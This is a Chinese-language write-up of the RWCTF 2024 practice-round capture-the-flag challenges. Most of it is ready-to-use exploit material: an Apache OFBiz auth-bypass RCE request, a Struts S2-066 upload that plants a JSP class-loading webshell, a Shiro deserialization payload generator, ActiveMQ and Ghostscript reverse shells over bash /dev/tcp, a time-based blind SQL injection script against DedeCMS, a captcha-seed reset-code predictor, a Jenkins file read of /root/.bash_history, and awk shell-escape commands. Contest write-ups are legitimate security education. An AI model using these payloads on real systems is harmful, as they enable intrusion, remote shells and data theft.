RWCTF 2024 体验赛 Writeup

RWCTF 2024 体验赛 Writeup

Be-a-Docker-Escaper-4

ps aux

1
docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash

共享了宿主机的 pid namespace, 并且关闭了apparmor

一开始往逃逸的方向想了, 以为能 ptrace 注入啥的, 但是没有额外的 capabilities

结果 zysgmzb 说只要看 /proc/pid/root 目录就行

1
for fd in `find /proc/*/root`; do ls -al $fd | grep \>; done

遍历得到的 root 目录挨个访问即可, 或者用 find -L 去遍历软链接嗯搜也能找到 flag

然后想起来了去年的这篇文章, 确实有点印象但是没细看 (

https://www.anquanke.com/post/id/290540

Be-a-Cloud-Hacker

cloud-init 配置文件敏感信息泄露

1
/var/lib/cloud/instances/iid-local01/cloud-config.txt

Long Range 2

https://zysgmzb.club/index.php/archives/294

Be-a-Framework-Hacker

Apache OFBiz Authentication Bypass Leads to RCE (CVE-2023-51467)

https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-51467

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/2
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

groovyProgram=throw+new+Exception('/readflag'.execute().text);

Be-More-Elegant

S2-066 (CVE-2023-50164)

https://paper.seebug.org/3086/#38-s2-066

上传文件目录穿越到 views/header_icon/index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
POST /upload.action HTTP/1.1
Host: 47.99.57.31:8080
Content-Length: 1287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.99.57.31:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycTJbJecoaazcHtjf
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.99.57.31:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=5D489463E6409CFA43018A51F3E5A692
Connection: close

------WebKitFormBoundarycTJbJecoaazcHtjf
Content-Disposition: form-data; name="FileUpload"; filename="blank.txt"
Content-Type: text/plain

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("xzxzxzxz");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
------WebKitFormBoundarycTJbJecoaazcHtjf
Content-Disposition: form-data; name="fileUploadFileName"

../../../views/header_icon/index.jsp
------WebKitFormBoundarycTJbJecoaazcHtjf--

蚁剑直接连接网站主页, 然后执行 /readflag 拿到 flag

vision

date 命令读取 flag

Old-Shiro

ShiroAttack2 爆破 shiro key 为 kPH+bIxk5D2deZiIxcaaaA==, remember cookie 为 rememberMe_rwctf_2024

题目环境不出网, 打内存马会超出 header 长度限制, 需要缩小 payload

经测试 cookie 的最大字符长度大约在 2600 左右

payload (JDK 8u362)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.example.Shiro;

import com.example.Util.ReflectUtil;
import com.example.Util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;

import java.util.PriorityQueue;

public class ShiroDemo {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesImpl = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("SC");

        String body = "javax.servlet.http.HttpServletRequest r = ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
                "java.lang.reflect.Field f = r.getClass().getDeclaredField(\"request\");\n" +
                "f.setAccessible(true);\n" +
                "org.apache.catalina.connector.Response p =((org.apache.catalina.connector.Request) f.get(r)).getResponse();\n" +
                "java.io.Writer w = p.getWriter();\n" +
                "w.write(new java.util.Scanner(new java.io.File(\"/flag\")).next());\n" +
                "w.flush();";

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{" + body + "}");
        clazz.addConstructor(constructor);
//        clazz.makeClassInitializer().setBody("{" + body + "}");

        // 设置 Super Class 为 AbstractTranslet
        CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        clazz.setSuperclass(superClazz);

        ReflectUtil.setFieldValue(templatesImpl, "_name", "Hello");
        ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
        ReflectUtil.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("1");

        beanComparator.setProperty("outputProperties");
        ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});
       byte[] serialized = SerializeUtil.serialize(priorityQueue);

        CipherService cipherService = new AesCipherService();
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = cipherService.encrypt(serialized, key);
        byte[] value = byteSource.getBytes();
        String enc = Base64.encodeToString(value);
        System.out.println(enc.length());
        System.out.println(enc);
    }
}

http

1
2
3
4
5
6
7
8
POST /doLogin HTTP/1.1
Host: 121.40.80.33:8888
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
Cookie: rememberMe_rwctf_2024=Sra89zkhIRE9ebPemlaF6V/vz122e6H7YATbKpDfZNJ/eikP4K7RTmBeOtz9TTZ8p9y12XMumbEnBzNRqmVxZly68tyWYthCLpaGardCwED/BwPNSSTYvjretzN8hlpiTLbIOAsIyTXqTUZxWqPWlcMcQVJwoHJqBPQcVVJpCdA3w2bFnn9+Lruu0L3H4VRine6trDzJ5D6sRvRHw0WYImyvt4N7aN36oiBKYVoI+s2AeGGO3TAXz8Nrn3wR3TzP/rr01e4kgI+8jpPPFBSJyg8iVUUkGRd5e4GrAV640AjejDO3CX3UP6Xss+eJeOTynUygQI1Db494ojMWDpBxUb1wtHNwv+GFwkE/ab56IE8AcdifEgkVHbi66BpU1Cbp0xrcKB9Yrg2BTlwGMqZRuFx9rioADXX0W6WuoD0vIopXMjW4sMu1DctOT61hZINd+gFDHKXAJvmNcJlgg+moOhvs/sg57iAAfAkXddDkK57Vhg+3Ms7ifFv7kCgxBXL5ZxC0wmSEow8FLrnWkXyJevA7eIkY1XobjIlbMZUK7oK1/YxR+LYhcKblNqxqB1CgohiInpHfbeR1zvuR4LrqgaKGgpqXzjX4egQBMJoKHDKai/qqKtGKNx9TKe1AgJFXMxT3X1Qow2YprU/BbUsAa2i2Md8g3LM776BoP6DgffVo9YYYgJX3N/D1N6m416tIaXehHwh6CuijsEWkQ+556KzF3+FPZ5KX4rC4wePEx95S7A3iQ8cqSGwfHfeY1p+FWVhmkifEkPhkBByEQu2ndhC3UUKC684MsJoVDIm/msxu51N1i8iZKwq0UVwFV8dd969BIMOCzrvH6D/7GNCjX+M2LwQw7j8qP/XuBovZ841qJD7RYIlFv8WMuM0Xl5Yvj79c6EQx9fzYxoPrkAU5wdbT+/C2iOdw4Lu2CtjQC1f9LK03QEvlQZ/pkKVJItoldbchwgel5dL2Gu34jcJcvP6U/pLzm54eL0dmlwgqyA+cUODJc/Ul6fI5Vy8oi7MQiFLWzu3Zr1qa/HqdrFS4QrDNZBQQmA33J/0/V+eDpAnRKWliGPqo7px/lJrE/zodRv1ILnry1Ep4HnNv5GZaQoDnWZWbOmeotrP7/2yO1Z4a40NKW9cFuvQ/1AAP3VID16mkiazIzxcQ+dWIUToQS+HvxIpIYQwCuP/xLq/zNVtO1U3dvTrQGzhSXcGA6GO+X/EbfrQKttlZJVh9j51nvDI52kCQSMYGwYuv8GjRVFHPdLKrvs4z1GIUSPh9foCvVcdnsKQ/gnVcgFeZajWmMwFBTwqU1FR3hYrGKkRqxffzv17owkpvt9lbb4WbOQpnzx6socKiZxV1HxSoDUtN/g8uJNzw1zP9O/o27YgfNUGo22Bhj4wU0rq4KEwFX1pLSDb41712g0RMrLLqkQHfr+uIiTBSZHM+vQiyfS1nK8oOMJwhnQyoNFeTqouZdOKOSudcZq1ZpEoLYlAlEZKlMdWhYvLF22tYFYEgeYjHt6ECEHwqOOXpyux/JtdKSJnwgbVoI6VfhUa4YXWI2tju1IVJ9Nk8VSX1xFTNdDb6vATfNh4Fq2ZEKH29t+gqcP4f4vZvFyAWVSvn2U28oQSLtwsYjumr/lxuRhCzv143kWl2zLwh6vlCMV4A4DjgMP5G+X63JD3BINEiM0Bs+cn7WGwSZqicCJEiziNLpKHqh+M976v61FeOt0TLJBBHAtp+aAthgONKBwpMMrWA3ZPRWlp1NpAwhlEkMsjAchbkh1CNBsMDbds4LTfKcmVYgKwvtmPwLXT5SXDZb9cKIp1M8IRP+z+j1ETgdnWbfVkl0WtAZdLAKPgZ3KOuWTub0VSLA9EWUoimWepUJam/8htjRPmHWKJIeyTqtG+RlA/ZDuq7dAOkSJXVv5P64drxb2HUdH0WSL74VctziXA8eVWkIPQy1nfpweWq6swLMF936kfAC2P/4gAPJqB92AF02IQOuNhGYZDKAqGwnI30Ul/uu/z3Ru0x1MvsI+LazKZWrP6SnSOBQ4ELHdAN6HKQd9VM0bNlJB2q+bBdsgKaoHZZJOwH7uZgH/XbRiYz/DaPFu45S1Ubz7+hmYRTkfevpGQRGwqTWLLjw4v0ebZ3mq98bk9j6nd5oAjA+ytUrDpeIdGYbk8lgybTDPex/0EsADwy8mgSi8MDWV2ylNuNLNwuJaTI1JGAP/N5Xv5CsSIVcTtSo819vjN70CIfNK4mr6DGU5vZ3s8EgI38pztS6Vausal3oB9uRuR4I739p2i4T6G820UqM37a54Ogx8lXVc1R25bWOuqAVTELa3FnUHF3jghw9NU2NBfhJh19oMtVl+6aJm1yAIP2dUxSidy+hsBJ9q8Ho8R6ymOaOJhj5TE9vzTzrZl2Gk8gMdPazG7HSB3g0PfobONCgcBe4LI8Wl3hjamza9gaE3bczrJmlQLLqMiMMAJyxhF9P2f4JvQO1LBSpD4XeETKPugfR0G1TMZ4rbKy4hVYkj6g31ReSUY31hx5nGL6O23abzB1HldTY1q7jFbf5dPLPNHRfddl03OPVRldlv0FBG8W2Gujq6W07DwLOvMTTm/aQv4IeDPWeEWYH6FPHTlQnKXJ3hOLaMKXPP39wz6K/0tuYZCtcRRRkUI8Kq+2JoBhNPNlkTIjRqz1xUd1cHYz4XQtGf7lKT1PviQALStmzK5w4nMxj788Wv9GoCn0ce0ELdEk400u79w=
Connection: close

username=123&password=132

Be-an-ActiveMq-Hacker

https://github.com/X1r0z/ActiveMQ-RCE

直接反弹 shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>![CDATA[bash -i >& /dev/tcp/IP/Port 0>&1]]></value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

YourSqlTrick

https://github.com/wy876/POC/blob/main/Dedecms v5.7.111前台 tags.php SQL注入漏洞

题目环境删了 dedecms 的后台, load_file 会被自带的 WAF 拦截, 所以 flag 就在数据库里面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

flag = 'rwctf{'

i = 7

while True:
    for s in range(32, 128):
        print('testing', chr(s))

        url = 'http://121.40.226.16:30080'
        sql = "select+flag_value+from+flag"
        payload = r'/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1+or+if(ascii(substr((' + sql + r'),' + str(i) + r',1))=' + str(s) + r',(SELECT+count(*)+FROM+information_schema.columns+A,+information_schema.tables+B,+information_schema.tables+C),1)--%20\\'
        
        start_time = time.time()
        res = requests.get(url + payload)
        end_time = time.time()

        if end_time - start_time >= 5:
            flag += chr(s)
            print('found!!!', flag)
            break
    i += 1

Be-a-Captcha-Guesser

https://exp10it.io/2023/10/jumpserver-伪随机数密码重置漏洞-cve-2023-42820-分析/

models.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
from django.contrib.auth.models import User
from django.shortcuts import render
from wagtail.admin.panels import FieldPanel
from wagtail.blocks import TextBlock
from wagtail.fields import RichTextField, StreamField

from wagtail.models import Page
from wagtailcodeblock.blocks import CodeBlock

user_code_map = {}


class HomePage(Page):
    body = StreamField([
        ("heading", TextBlock()),
        ("code", CodeBlock(label='Code')),
    ], use_json_field=True, blank=True)

    content_panels = Page.content_panels + [
        FieldPanel("body"),
    ]


class LoginPage(Page):

    def serve(self, request, *args, **kwargs):
        from .forms import CaptchaLoginForms
        if request.method == "POST":
            form = CaptchaLoginForms(data=request.POST)
            if form.is_valid():
                username = form.cleaned_data['username']
                exist = User.objects.filter(username=username).exists()
                if not exist:
                    form.add_error('username', 'username or password error')
                return render(request, "home/login_page.html", {"form": form, 'page': self})
        else:
            form = CaptchaLoginForms()
        return render(request, "home/login_page.html", {"form": form, 'page': self})


class ChangePasswordPage(Page):

    def serve(self, request, *args, **kwargs):
        from .forms import CaptchaResetPasswordForms
        from .util import random_string
        if request.method == "POST":
            form = CaptchaResetPasswordForms(data=request.POST)
            if form.is_valid():
                exist = User.objects.filter(username=form.cleaned_data['username'],
                                            email=form.cleaned_data['email']).exists()
                if exist:
                    username = form.cleaned_data['username']
                    request.session['username'] = username
                    code = random_string(6, lower=False, upper=False)
                    user_code_map[username] = code
                    print('code=', code)
                    return render(request, "home/change_password_page.html", {"form": form, 'page': self, "ok": True})
                else:
                    form.add_error('username', 'username or email error')
        else:
            form = CaptchaResetPasswordForms()
        request.session.delete('username')
        return render(request, "home/change_password_page.html", {"form": form, 'page': self})


class DoResetPasswordPage(Page):
    def serve(self, request, *args, **kwargs):
        from .forms import DoResetPasswordForms
        username = request.session.get('username')
        if not username or not User.objects.filter(username=username).exists():
            return render(request, "home/no_permission.html")
        if request.method == "POST":
            form = DoResetPasswordForms(data=request.POST)
            if form.is_valid():
                password1 = form.cleaned_data['password1']
                password2 = form.cleaned_data['password2']

                if password1 != password2:
                    form.add_error('password1', 'the two passwords are inconsistent')
                    return render(request, "home/do_reset_password_page.html",
                                  {"form": form, 'page': self, "ok": False})

                if user_code_map.get(username) == form.cleaned_data['code']:
                    user = User.objects.get(username=username)
                    user.set_password(password1)
                    user.save()
                    return render(request, "home/do_reset_password_page.html", {"form": form, 'page': self, "ok": True})
                else:
                    form.add_error('code', 'code or username error')
                    return render(request, "home/do_reset_password_page.html",
                                  {"form": form, 'page': self, "ok": False})
        else:
            form = DoResetPasswordForms()
        return render(request, "home/do_reset_password_page.html", {"form": form, 'page': self, "ok": False})


# wait for admin to publish
class FlagPage(Page):
    flag = RichTextField(blank=True)
    content_panels = Page.content_panels + [
        FieldPanel('flag')
    ]

JumpServer 密码重置漏洞的简化版

利用流程:

  1. 进入登录页面拿到验证码种子, 即 /captcha/image/后面的内容

  2. 脚本请求验证码 url, 批量播种

  3. 进入密码重置界面, username 为 admin, 邮箱为 [email protected]

  4. 脚本计算种子得到 reset code, 重置密码

  5. 登陆 wagtail 的管理后台查看 flag

注意根据题目环境修改验证码的尺寸 (77 x 45), 然后验证码是四位字符, 所以 charlist 长度为 4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding: utf-8 -*-
#
import random
import string

import requests


string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
    args_names = ['lower', 'upper', 'digit', 'special_char']
    args_values = [lower, upper, digit, special_char]
    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
    args_string_map = dict(zip(args_names, args_string))
    kwargs = dict(zip(args_names, args_values))
    kwargs_keys = list(kwargs.keys())
    kwargs_values = list(kwargs.values())
    args_true_count = len([i for i in kwargs_values if i])
    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'

    can_startswith_special_char = args_true_count == 1 and special_char

    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])

    while True:
        password = list(random.choice(chars) for i in range(length))
        for k, v in kwargs.items():
            if v and not (set(password) & set(args_string_map[k])):
                # 没有包含指定的字符, retry
                break
        else:
            if not can_startswith_special_char and password[0] in args_string_map['special_char']:
                # 首位不能为特殊字符, retry
                continue
            else:
                # 满足要求终止 while 循环
                break

    password = ''.join(password)
    return password

seed = 'ee613854767aba86658eac7bc1a8987d03bc132b'

for i in range(50):
    res = requests.get('http://121.40.246.97:32652/captcha/image/{}/'.format(seed))
    print('i: {} code: {}, len: {}'.format(i, res.status_code, len(res.content)))

random.seed(seed)

CAPTCHA_PUNCTUATION  = """_"',.;:-"""
CAPTCHA_LETTER_ROTATION = (-35, 35)
CAPTCHA_IMAGE_SIZE = (77, 45)

size = CAPTCHA_IMAGE_SIZE

# 长度 4
charlist = [1, 1, 1, 1]

# 验证码图片生成时的随机数处理
for char in charlist:
    random.randrange(*CAPTCHA_LETTER_ROTATION)

for p in range(int(size[0] * size[1] * 0.1)):
    random.randint(0, size[0])
    random.randint(0, size[1])

# 预测 reset code
code = random_string(6, lower=False, upper=False)
print(code)

Be-a-Security-Researcher

这两天的 Jenkins CLI 任意文件读取 (CVE-2024-23897)

根据题目描述 “应急响应”, 而且 /flag 文件不存在, 猜测 flag 位于 .bash_history

1
java -jar jenkins-cli.jar -s http://47.96.171.129:8080/ help "@/root/.bash_history"

Be-an-Interpreter-Hacker

https://github.com/jostaub/ghostscript-CVE-2023-43115

反弹 shell

1
2
3
4
5
6
7
8
%!PS
mark 
/OutputDevice 
/ijs 
/IjsServer 
(bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1') 
.dicttomark 
setpagedevice

脚本需要一次性传过去

1
cat rev.gs | nc 47.98.192.157 39956

ALS

题目环境有在线 shell 功能

awk rbash 逃逸

https://gtfobins.github.io/gtfobins/awk/

1
2
3
4
5
awk 'BEGIN {system("/bin/ls /usr/bin/")}'

awk 'BEGIN {system("/usr/bin/sudo -l")}'

awk 'BEGIN {system("/usr/bin/sudo /usr/local/bin/nexttrace --file /root/flag")}'

0%